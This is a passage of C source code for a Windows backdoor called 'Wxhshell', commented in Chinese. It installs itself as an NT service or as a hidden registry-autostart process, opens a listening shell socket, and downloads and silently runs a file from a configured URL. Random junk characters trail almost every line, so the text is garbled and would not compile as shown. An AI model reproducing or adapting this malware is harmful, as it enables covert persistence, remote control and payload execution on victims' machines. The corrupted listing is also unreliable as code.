ULONG UniqueProcessId; lr>oYS0
ULONG InheritedFromUniqueProcessId; 5m\<U`
} PROCESS_BASIC_INFORMATION; l;R%= P?'F
M+||rct
PROCNTQSIP NtQueryInformationProcess; q&s3wDl/
,(d)Qg
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oHd FMD@
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7}f}$1
2Rw&C6("w
HANDLE hProcess; sFT.Oxg<
PROCESS_BASIC_INFORMATION pbi; U>=Z-
T
FGigbtj`
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8i>ZY
if(NULL == hInst ) return 0; R!\_rc1/
vK|E>nL
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8@i7pBl@
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xjfV?B'Y}V
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :W!7mna
]m
g)Q:d,
if (!NtQueryInformationProcess) return 0; _}lZ,L(w
qE&v ;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YVQN&|-
if(!hProcess) return 0; PRu 6xsyA
.7e2YI,S
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JD)(oK%C
K28+]qy[
CloseHandle(hProcess); @L<*9sLWh
7Ri46Tkt
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Xe6w|
if(hProcess==NULL) return 0; ~
{E'@MU
wvO|UP H\
HMODULE hMod; MLw7}[
char procName[255]; l~c@^!
unsigned long cbNeeded; sGyeb5c
b LlKe50
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G_;)a]v8)
Sj]T
CloseHandle(hProcess); GPkmf%FJ
2D75:@JL}|
if(strstr(procName,"services")) return 1; // 以服务启动 xHL( !PF
7!@-*/|!S9
return 0; // 注册表启动 EYtL_hNp}I
} cii_U=
-~s!73pDY
// 主模块 Rp.Sj{<2
int StartWxhshell(LPSTR lpCmdLine) zL$@`Eh-KP
{ z.7cy@N6
SOCKET wsl; f[<m<I
BOOL val=TRUE; B:5Rr}eY+
int port=0; )WRLBFi3
struct sockaddr_in door; "'c
A2~
<;vbsksZeH
if(wscfg.ws_autoins) Install(); f,h J~
U{7w#>V
.
port=atoi(lpCmdLine); ~HTmO;HNf"
xf<at ->
if(port<=0) port=wscfg.ws_port; mw_~*Nc'9
tjIl-IQ
WSADATA data; a|%J=k>>
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9>l*lCA
`IP/d
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; +ln9c
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^V ?<K.F
door.sin_family = AF_INET; ^8 z R
door.sin_addr.s_addr = inet_addr("127.0.0.1"); rf
$ QxJ
door.sin_port = htons(port); o)Iff)m$
Li!Vx1p;u.
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )m`<H>[Eb=
closesocket(wsl); R n}l6kbM
return 1; wN@oYFoL
} kE:nsXI
)
PPb7%2r
if(listen(wsl,2) == INVALID_SOCKET) {
z_F-T=_
closesocket(wsl); kDEPs$^
return 1; #xho[\
} (61EDKNd9
Wxhshell(wsl); G9Y#kBr
WSACleanup(); .X@FXx&
)Ub_@)X3%l
return 0; kh
{p%<r{
4]yOF_8h
} DnC{YK
E)TN,@%
// 以NT服务方式启动 6VS4y-N
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~D<IB#C
{ D&od?3}E
DWORD status = 0; "Ue.@>
DWORD specificError = 0xfffffff; K~AR*1??[
'10oK {m$
serviceStatus.dwServiceType = SERVICE_WIN32; j}%ja_9S
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 0xxg|;h.,g
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d6'{rje(
serviceStatus.dwWin32ExitCode = 0; c9HrMgW
serviceStatus.dwServiceSpecificExitCode = 0; n!NS(.o
serviceStatus.dwCheckPoint = 0; <oR a3Gi(%
serviceStatus.dwWaitHint = 0; k[bD\'
@JtM5qB
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J#w
J4!
if (hServiceStatusHandle==0) return; p~SClaR3H
wfNk=)^$
status = GetLastError(); RX>xB
if (status!=NO_ERROR) tmv&U;0Z
{ Fpm|_f7
serviceStatus.dwCurrentState = SERVICE_STOPPED; y`\@N"Cf
serviceStatus.dwCheckPoint = 0; fa++MNf}3
serviceStatus.dwWaitHint = 0; :Pvzl1
serviceStatus.dwWin32ExitCode = status; gYNjzew'
serviceStatus.dwServiceSpecificExitCode = specificError; 1$D_6U:H0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +b.g$CRr
return; T^Y([23
} ).Fpgxs
ySx>LuY#3
serviceStatus.dwCurrentState = SERVICE_RUNNING; 8VeQ-#7M/
serviceStatus.dwCheckPoint = 0; isQ[ Gc!8
serviceStatus.dwWaitHint = 0; !B\R''J5
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,VCyG:dw
} brW :C?}
3?c3<`TW
// 处理NT服务事件,比如:启动、停止 5k`l$mW{
VOID WINAPI NTServiceHandler(DWORD fdwControl) %6t2ohO"
{ \P j
switch(fdwControl) Z)! qW?
{ G!"YpYml
case SERVICE_CONTROL_STOP: d*jMZ%@uS
serviceStatus.dwWin32ExitCode = 0; wj,:"ESb4
serviceStatus.dwCurrentState = SERVICE_STOPPED; @CTgT-0!
serviceStatus.dwCheckPoint = 0; Yn@lr6s
serviceStatus.dwWaitHint = 0; wCr(D>iM
{ fuWO*
SetServiceStatus(hServiceStatusHandle, &serviceStatus); W yB3ls~
} qu-B|
MuOa
return; ~tBYIkvWT
case SERVICE_CONTROL_PAUSE: {l>yi
serviceStatus.dwCurrentState = SERVICE_PAUSED; N):tOD@B
break; Of"
case SERVICE_CONTROL_CONTINUE: /DK"QV!]s
serviceStatus.dwCurrentState = SERVICE_RUNNING; *]AdUEV?
break; - db_E#
case SERVICE_CONTROL_INTERROGATE: P+s!|7'
break; nSW=LjrO~<
}; $ {O#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Km(n7Ah"
} ,eTUhK
I(V!Mv8j
// 标准应用程序主函数 =<{np
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _I)U%?V+
{ {4G%:09~J
=h0,?]z
// 获取操作系统版本 <~6h|F8
OsIsNt=GetOsVer(); cl]Mi
"3_
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5_- (<B
v*r7Zz6l
// 从命令行安装 ToJ$A`_!`
if(strpbrk(lpCmdLine,"iI")) Install(); z.kvX+7'
(BTVD,G
// 下载执行文件 7s/u(~d)
if(wscfg.ws_downexe) { .@(6 Y<dN
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fQi4\m
WinExec(wscfg.ws_filenam,SW_HIDE); S 5/R_5
} D)j(,vt
sejg&8
if(!OsIsNt) { )/pU.Z/
// 如果时win9x,隐藏进程并且设置为注册表启动 DVSL [p?_
HideProc(); np8gKVD
StartWxhshell(lpCmdLine); |C!ox hu<
} ^G4Py<s
else .!f$
\1l
if(StartFromService()) (-ufBYO6
// 以服务方式启动 F<qz[,]|-j
StartServiceCtrlDispatcher(DispatchTable); %k;|\%B`
else (Tn- >).AO
// 普通方式启动 E^vJ@O
StartWxhshell(lpCmdLine); \#Pfj&*
)XvilCk1
return 0; ) L#i%)+
}